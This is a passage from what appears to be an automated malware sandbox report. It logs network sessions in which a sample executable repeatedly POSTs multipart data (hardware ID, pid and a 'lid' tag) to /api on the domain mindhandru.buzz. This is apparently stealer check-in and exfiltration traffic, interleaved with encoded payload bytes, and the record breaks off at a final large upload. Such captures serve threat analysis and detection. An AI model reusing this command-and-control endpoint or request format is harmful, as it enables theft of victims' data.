2024-12-26 11:51:38 UTC	1369	IN	Data Raw: 34 34 62 30 0d 0a 6a 6e 66 6a 48 6a 4e 55 66 63 6c 2b 54 65 4e 41 4e 4c 2b 59 67 32 52 62 75 33 65 2f 74 58 47 6f 71 6d 41 49 73 35 64 4f 41 75 79 45 66 2f 31 57 4c 78 4a 32 68 33 64 48 70 52 68 78 38 4e 6e 4d 61 30 50 36 4b 2f 4b 56 66 72 4b 79 59 6b 6d 4b 6d 45 67 42 35 35 59 77 36 68 41 31 57 6d 4f 46 4f 52 6e 6a 46 6e 6d 37 6d 34 74 6c 57 72 6c 7a 75 4c 39 2f 72 36 35 68 43 37 4b 61 54 51 66 6d 6a 58 76 36 55 53 73 53 5a 34 56 38 54 4b 42 59 4f 76 43 51 6c 43 77 44 2b 6c 61 38 73 6d 47 30 35 46 77 49 73 5a 56 42 47 61 43 66 50 75 77 65 4b 78 59 6b 30 54 6c 4c 70 42 39 77 76 5a 32 50 61 46 2b 33 66 4c 75 34 65 62 65 73 5a 51 57 74 6c 6b 77 4b 37 6f 78 31 2b 6c 34 74 47 32 71 44 63 67 48 74 57 48 4f 6f 31 39 51 73 64 4c 64 6a 6f 4c 74 37 74 4f 52 63 43 Data Ascii: 44b0jnfjHjNUfcl+TeNANL+Yg2Rbu3e/tXGoqmAIs5dOAuyEf/1WLxJ2h3dHpRhx8NnMa0P6K/KVfrKyYkmKmEgB55Yw6hA1WmOFORnjFnm7m4tlWrlzuL9/r65hC7KaTQfmjXv6USsSZ4V8TKBYOvCQlCwD+la8smG05FwIsZVBGaCfPuweKxYk0TlLpB9wvZ2PaF+3fLu4ebesZQWtlkwK7ox1+l4tG2qDcgHtWHOo19QsdLdjoLt7tORcC
2024-12-26 11:51:38 UTC	1369	IN	Data Raw: 58 6f 4b 39 7a 34 31 52 73 42 53 71 51 4f 55 61 76 57 43 7a 77 6e 59 42 6f 57 4c 5a 36 76 72 78 78 6f 61 46 6b 44 37 2b 64 51 41 72 68 69 33 6a 35 55 53 59 57 59 49 56 77 52 36 38 62 64 37 62 58 77 69 78 63 6f 6a 50 71 38 56 47 6f 72 57 55 4c 76 49 70 42 54 36 37 41 66 76 4e 65 62 45 4a 79 6d 57 35 47 76 46 5a 74 38 4a 43 41 4c 41 50 36 65 61 43 30 66 71 47 73 62 41 2b 7a 6b 55 59 4b 38 6f 68 32 38 6c 49 6b 48 32 75 50 66 45 79 6b 45 33 65 69 68 59 39 6f 56 62 59 7a 2f 50 46 33 76 65 59 78 53 35 71 4d 52 52 2f 6d 67 7a 44 71 45 44 56 61 59 34 55 35 47 65 4d 59 65 72 79 63 69 32 64 51 76 6e 65 79 76 48 75 72 71 47 41 48 74 35 64 42 48 65 32 46 65 50 39 58 4b 52 5a 70 69 6d 74 43 6f 6c 67 36 38 4a 43 55 4c 41 50 36 56 49 47 47 55 2b 57 35 4a 78 4c 2f 6e 45 Data Ascii: XoK9z41RsBSqQOUavWCzwnYBoWLZ6vrxxoaFkD7+dQArhi3j5USYWYIVwR68bd7bXwixcojPq8VGorWULvIpBT67AfvNebEJymW5GvFZt8JCALAP6eaC0fqGsbA+zkUYK8oh28lIkH2uPfEykE3eihY9oVbYz/PF3veYxS5qMRR/mgzDqEDVaY4U5GeMYeryci2dQvneyvHurqGAHt5dBHe2FeP9XKRZpimtColg68JCULAP6VIGGU+W5JxL/nE
2024-12-26 11:51:38 UTC	1369	IN	Data Raw: 58 50 5a 52 4a 31 70 37 78 32 41 42 70 42 51 30 36 4e 65 4c 5a 46 4f 30 63 4c 53 36 66 4b 6d 6e 59 41 32 36 6b 30 45 41 35 34 6c 33 39 56 67 2b 48 57 6d 41 65 55 71 71 45 6e 43 78 6e 4d 77 69 47 37 31 72 38 75 6b 77 6c 36 46 2f 47 37 7a 62 57 55 48 35 77 48 66 35 48 6e 52 61 61 5a 74 34 52 4c 45 63 65 37 75 46 68 32 70 62 76 32 47 31 76 58 71 71 70 57 45 47 76 4a 4e 55 44 2b 32 41 59 75 64 59 4a 78 51 6b 78 7a 6c 47 75 31 67 73 38 4b 61 62 5a 78 75 6c 50 61 76 78 64 36 6e 6d 4d 55 75 38 6b 55 73 42 38 6f 52 32 2f 6c 30 69 45 6d 47 42 66 55 75 75 46 33 2b 36 6e 6f 52 73 56 4c 39 37 75 62 64 2b 70 4b 42 6c 42 76 2f 56 42 67 6a 34 77 43 69 31 65 54 59 58 59 70 35 6f 64 4b 51 59 4a 66 43 49 77 6e 55 62 76 58 2f 79 36 54 43 6f 71 6d 4d 47 75 70 39 4f 43 4f 4f Data Ascii: XPZRJ1p7x2ABpBQ06NeLZFO0cLS6fKmnYA26k0EA54l39Vg+HWmAeUqqEnCxnMwiG71r8ukwl6F/G7zbWUH5wHf5HnRaaZt4RLEce7uFh2pbv2G1vXqqpWEGvJNUD+2AYudYJxQkxzlGu1gs8KabZxulPavxd6nmMUu8kUsB8oR2/l0iEmGBfUuuF3+6noRsVL97ubd+pKBlBv/VBgj4wCi1eTYXYp5odKQYJfCIwnUbvX/y6TCoqmMGup9OCOO
2024-12-26 11:51:38 UTC	1369	IN	Data Raw: 69 73 57 4a 4e 45 35 54 36 34 65 64 62 47 66 68 47 78 64 73 48 65 78 75 48 4f 69 72 32 38 41 76 4a 46 4a 43 4f 61 45 63 50 35 5a 49 68 78 68 67 6e 41 42 37 56 68 7a 71 4e 66 55 4c 48 32 5a 59 61 43 44 66 71 61 39 4b 52 54 78 67 67 59 49 37 4d 41 6f 74 56 55 6b 46 58 61 4d 63 45 6d 6e 45 58 53 30 6e 59 46 72 57 37 39 2b 74 37 56 2b 6f 61 46 70 42 37 43 63 54 67 44 6b 67 48 2b 31 45 47 77 64 66 4d 6b 68 41 59 4d 54 59 70 47 5a 68 33 34 62 70 54 32 72 38 58 65 70 35 6a 46 4c 73 5a 4a 48 42 2b 36 4d 65 50 46 4d 4c 42 46 74 68 6e 68 4f 6f 78 74 31 75 70 2b 65 61 6c 75 78 65 37 57 35 64 4b 75 30 61 41 54 2f 31 51 59 49 2b 4d 41 6f 74 57 38 36 48 57 4f 47 4f 32 69 6b 41 33 57 36 6c 49 64 67 47 36 55 39 71 2f 46 33 71 65 59 78 53 37 4b 58 53 77 76 79 6a 48 44 31 Data Ascii: isWJNE5T64edbGfhGxdsHexuHOir28AvJFJCOaEcP5ZIhxhgnAB7VhzqNfULH2ZYaCDfqa9KRTxggYI7MAotVUkFXaMcEmnEXS0nYFrW79+t7V+oaFpB7CcTgDkgH+1EGwdfMkhAYMTYpGZh34bpT2r8Xep5jFLsZJHB+6MePFMLBFthnhOoxt1up+ealuxe7W5dKu0aAT/1QYI+MAotW86HWOGO2ikA3W6lIdgG6U9q/F3qeYxS7KXSwvyjHD1
2024-12-26 11:51:38 UTC	1369	IN	Data Raw: 53 43 64 30 53 69 46 48 36 33 6d 5a 35 74 55 62 5a 79 74 62 5a 37 74 36 31 37 41 4c 65 59 53 41 66 70 67 48 37 31 58 79 45 61 4a 4d 63 35 52 72 74 59 4c 50 43 79 72 33 74 4e 73 44 47 52 70 6d 61 76 6f 57 55 64 74 4a 70 46 47 65 32 51 4d 4c 73 65 50 52 31 31 79 53 46 58 73 77 39 7a 72 39 6d 56 4c 46 79 32 4d 2b 72 78 65 36 71 6f 5a 41 43 37 6b 6b 4d 48 34 34 56 31 2f 31 49 67 47 32 79 41 63 30 53 6d 48 6e 36 7a 6d 59 4e 74 56 37 35 36 76 4c 67 77 36 2b 5a 75 45 2f 2f 44 42 6a 6e 77 68 32 6a 34 54 6d 34 6f 5a 35 68 6f 56 4b 34 49 63 76 4b 34 6a 32 42 59 76 33 53 69 38 57 2f 72 76 79 6b 4d 73 39 73 65 54 2b 43 45 66 50 5a 5a 49 68 56 70 68 6e 35 4b 72 42 4a 36 6f 70 69 4a 5a 46 65 79 66 71 43 37 65 72 65 76 59 41 61 78 6b 31 51 4d 6f 4d 34 77 38 6b 5a 73 51 Data Ascii: SCd0SiFH63mZ5tUbZytbZ7t617ALeYSAfpgH71XyEaJMc5RrtYLPCyr3tNsDGRpmavoWUdtJpFGe2QMLsePR11ySFXsw9zr9mVLFy2M+rxe6qoZAC7kkMH44V1/1IgG2yAc0SmHn6zmYNtV756vLgw6+ZuE//DBjnwh2j4Tm4oZ5hoVK4IcvK4j2BYv3Si8W/rvykMs9seT+CEfPZZIhVphn5KrBJ6opiJZFeyfqC7erevYAaxk1QMoM4w8kZsQ
2024-12-26 11:51:38 UTC	1369	IN	Data Raw: 44 6b 67 35 35 6f 4a 53 4a 61 32 57 45 66 62 57 6c 64 36 75 67 61 55 76 78 32 30 6c 50 75 4c 6b 77 76 52 34 54 56 43 53 52 4f 52 6e 6a 4c 58 65 2b 6d 59 74 36 53 76 64 51 70 61 64 36 76 75 52 50 44 4b 36 53 55 41 4c 79 77 44 36 31 57 47 78 43 4e 4d 63 35 52 62 4a 59 4c 4f 44 46 31 7a 6b 49 37 53 50 67 72 6a 36 38 35 6e 39 4c 35 38 6b 49 54 2f 4c 41 4b 4c 55 5a 4c 77 68 32 6a 33 70 58 6f 46 39 4b 6a 72 65 48 65 6c 71 33 65 4c 36 50 54 72 43 6c 5a 77 57 34 6a 56 64 50 72 73 42 2f 74 51 59 56 57 69 7a 4a 52 67 2f 6a 41 44 54 6f 31 37 6c 76 56 62 52 30 70 4b 41 39 68 61 31 2f 43 72 4b 51 53 6b 33 68 6a 57 44 79 48 6d 4a 61 59 73 6b 68 45 65 31 59 63 4b 48 58 31 44 77 4a 34 53 62 68 35 69 44 33 75 53 63 53 2f 34 30 47 56 37 4c 4f 4d 4f 63 65 64 46 6f 6a 69 6d Data Ascii: Dkg55oJSJa2WEfbWld6ugaUvx20lPuLkwvR4TVCSRORnjLXe+mYt6SvdQpad6vuRPDK6SUALywD61WGxCNMc5RbJYLODF1zkI7SPgrj685n9L58kIT/LAKLUZLwh2j3pXoF9KjreHelq3eL6PTrClZwW4jVdPrsB/tQYVWizJRg/jADTo17lvVbR0pKA9ha1/CrKQSk3hjWDyHmJaYskhEe1YcKHX1DwJ4Sbh5iD3uScS/40GV7LOMOcedFojim
2024-12-26 11:51:38 UTC	1369	IN	Data Raw: 5a 62 4f 58 68 79 77 56 2b 6e 58 79 36 53 4c 72 35 6d 30 61 2f 38 4d 57 58 62 76 56 49 36 49 4f 66 67 55 71 6b 44 6c 58 34 30 41 6d 2f 74 65 65 4c 41 50 36 4e 4c 47 6a 59 71 4f 6c 66 77 6a 34 70 58 67 70 34 34 64 32 39 6c 41 37 43 79 61 6d 65 6b 71 76 46 48 4f 6d 71 62 4a 35 57 4c 52 39 74 61 64 68 35 65 67 70 42 50 2f 44 66 30 2f 78 69 6e 65 35 46 6d 41 4c 64 34 64 79 56 36 52 59 53 2f 37 58 6c 43 77 44 2b 6b 61 78 76 33 36 69 73 48 68 47 6d 5a 68 42 43 65 4f 4f 5a 2b 51 65 59 6c 70 69 79 53 45 54 37 56 68 77 6f 64 66 55 50 41 6e 68 4a 75 48 6d 49 50 65 35 4a 78 4c 2f 6a 51 5a 58 73 38 34 77 35 78 35 30 57 69 4f 48 64 45 43 67 46 6e 65 69 68 59 70 76 54 62 6b 30 6a 49 39 56 71 4b 74 73 42 62 69 6c 65 43 37 71 6b 48 33 36 57 52 49 6b 55 35 68 2b 55 65 45 Data Ascii: ZbOXhywV+nXy6SLr5m0a/8MWXbvVI6IOfgUqkDlX40Am/teeLAP6NLGjYqOlfwj4pXgp44d29lA7CyamekqvFHOmqbJ5WLR9tadh5egpBP/Df0/xine5FmALd4dyV6RYS/7XlCwD+kaxv36isHhGmZhBCeOOZ+QeYlpiySET7VhwodfUPAnhJuHmIPe5JxL/jQZXs84w5x50WiOHdECgFneihYpvTbk0jI9VqKtsBbileC7qkH36WRIkU5h+UeE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49769	172.67.165.185	443	3224	C:\Users\user\Desktop\ZBbOXn0a3R.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:51:40 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C82X23X720LD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12823 Host: mindhandru.buzz
2024-12-26 11:51:40 UTC	12823	OUT	Data Raw: 2d 2d 43 38 32 58 32 33 58 37 32 30 4c 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 38 41 44 35 37 36 46 34 39 43 45 33 30 37 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 43 38 32 58 32 33 58 37 32 30 4c 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 38 32 58 32 33 58 37 32 30 4c 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 43 38 32 58 32 33 58 37 32 30 4c 44 0d 0a Data Ascii: --C82X23X720LDContent-Disposition: form-data; name="hwid"D8AD576F49CE307BBEBA0C6A975F1733--C82X23X720LDContent-Disposition: form-data; name="pid"2--C82X23X720LDContent-Disposition: form-data; name="lid"PsFKDg--pablo--C82X23X720LD
2024-12-26 11:51:55 UTC	1131	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:51:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s2hmr7raqvqofcbkq5atkiv163; expires=Mon, 21 Apr 2025 05:38:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jrm072lQ%2BUU%2BBvRYNfYu4N3Hy%2FFStCdtdf83vx87tqJGckTu%2BWaYOwFqfAhPxahQiz9HZ9fkAGGt172dTZbWeewHvVxegog3VEUnyONlcVlsDsFxlGno00QaNaiuEBN2skU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80dc3d3eeb9e16-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1806&min_rtt=1802&rtt_var=685&sent=10&recv=16&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13756&delivery_rate=1586956&cwnd=189&unsent_bytes=0&cid=8d4ba36aa7c31350&ts=15182&x=0"
2024-12-26 11:51:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:51:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49806	172.67.165.185	443	3224	C:\Users\user\Desktop\ZBbOXn0a3R.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:51:56 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M0NLJ6JYNANCK8J3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15093 Host: mindhandru.buzz
2024-12-26 11:51:56 UTC	15093	OUT	Data Raw: 2d 2d 4d 30 4e 4c 4a 36 4a 59 4e 41 4e 43 4b 38 4a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 38 41 44 35 37 36 46 34 39 43 45 33 30 37 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4d 30 4e 4c 4a 36 4a 59 4e 41 4e 43 4b 38 4a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 30 4e 4c 4a 36 4a 59 4e 41 4e 43 4b 38 4a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4d 30 Data Ascii: --M0NLJ6JYNANCK8J3Content-Disposition: form-data; name="hwid"D8AD576F49CE307BBEBA0C6A975F1733--M0NLJ6JYNANCK8J3Content-Disposition: form-data; name="pid"2--M0NLJ6JYNANCK8J3Content-Disposition: form-data; name="lid"PsFKDg--pablo--M0
2024-12-26 11:51:57 UTC	1127	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:51:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=drv45ru8okqg24asi3cua1vjkl; expires=Mon, 21 Apr 2025 05:38:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=beN65Kzl0RvLGzNlRUcFGVP1ORA0XacwHiYVN2%2FR%2Bv1fZf4DVYXo0LQsSeaLRKeTz4ImWLzaM3FX7YQDoumyahzE0A%2BkhBkbxBPwv9Tt6sXGDqqqT1010SkzDQoOO1nXL0M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80dca61bd11795-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1679&min_rtt=1674&rtt_var=638&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2838&recv_bytes=16030&delivery_rate=1699650&cwnd=172&unsent_bytes=0&cid=b40d9f486ffc86aa&ts=903&x=0"
2024-12-26 11:51:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:51:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49813	172.67.165.185	443	3224	C:\Users\user\Desktop\ZBbOXn0a3R.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:51:59 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8FC6VPTHK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19909 Host: mindhandru.buzz
2024-12-26 11:51:59 UTC	15331	OUT	Data Raw: 2d 2d 38 46 43 36 56 50 54 48 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 38 41 44 35 37 36 46 34 39 43 45 33 30 37 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 38 46 43 36 56 50 54 48 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 38 46 43 36 56 50 54 48 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 38 46 43 36 56 50 54 48 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --8FC6VPTHKContent-Disposition: form-data; name="hwid"D8AD576F49CE307BBEBA0C6A975F1733--8FC6VPTHKContent-Disposition: form-data; name="pid"3--8FC6VPTHKContent-Disposition: form-data; name="lid"PsFKDg--pablo--8FC6VPTHKContent-Disp
2024-12-26 11:51:59 UTC	4578	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 f6 Data Ascii: 2+?2+?o?Mp5p_oI
2024-12-26 11:52:00 UTC	1128	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:52:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gh4hn925q1sajacrt139l5n5jb; expires=Mon, 21 Apr 2025 05:38:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tVoqWfpPWEB6wbuv8u1RzpkAo8BDdjmebuj%2BhvwGdt0ddzxbcsq4vAVOl%2FlBdYr143C6YH9tO4jDv0jY3lcjb6oAZYT2L4jZhsMkyIeYlGsnXwvdZZPv7%2BukR3Udd3gy50I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80dcb7093b41ef-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1687&rtt_var=641&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2838&recv_bytes=20861&delivery_rate=1694718&cwnd=198&unsent_bytes=0&cid=842c2edce4fe8028&ts=1191&x=0"
2024-12-26 11:52:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:52:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49824	172.67.165.185	443	3224	C:\Users\user\Desktop\ZBbOXn0a3R.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:52:02 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0Q7AJ8SPSXATLXCQAY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1221 Host: mindhandru.buzz
2024-12-26 11:52:02 UTC	1221	OUT	Data Raw: 2d 2d 30 51 37 41 4a 38 53 50 53 58 41 54 4c 58 43 51 41 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 38 41 44 35 37 36 46 34 39 43 45 33 30 37 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 51 37 41 4a 38 53 50 53 58 41 54 4c 58 43 51 41 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 51 37 41 4a 38 53 50 53 58 41 54 4c 58 43 51 41 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --0Q7AJ8SPSXATLXCQAYContent-Disposition: form-data; name="hwid"D8AD576F49CE307BBEBA0C6A975F1733--0Q7AJ8SPSXATLXCQAYContent-Disposition: form-data; name="pid"1--0Q7AJ8SPSXATLXCQAYContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-26 11:52:03 UTC	1128	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:52:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qoecsbnhirjhhfrrn1aks10iau; expires=Mon, 21 Apr 2025 05:38:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WRLPRhm9x1TnpflGRT6jCAOzOmst8epSorb7WINJjeouySPk0Qk6YAt78hMJ61nuEiK%2F5A9mMJAbGd5CR6tbIxppC17j9%2FSFEzOlyxg2Qy%2FQUzL9xyOTm%2F8f8ha%2BRSpMgP0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80dcc8bc9e4386-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1579&rtt_var=606&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2137&delivery_rate=1784841&cwnd=246&unsent_bytes=0&cid=920ababeff262d7c&ts=825&x=0"
2024-12-26 11:52:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:52:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49830	172.67.165.185	443	3224	C:\Users\user\Desktop\ZBbOXn0a3R.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:52:05 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QRMZC646KJEJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 588309 Host: mindhandru.buzz
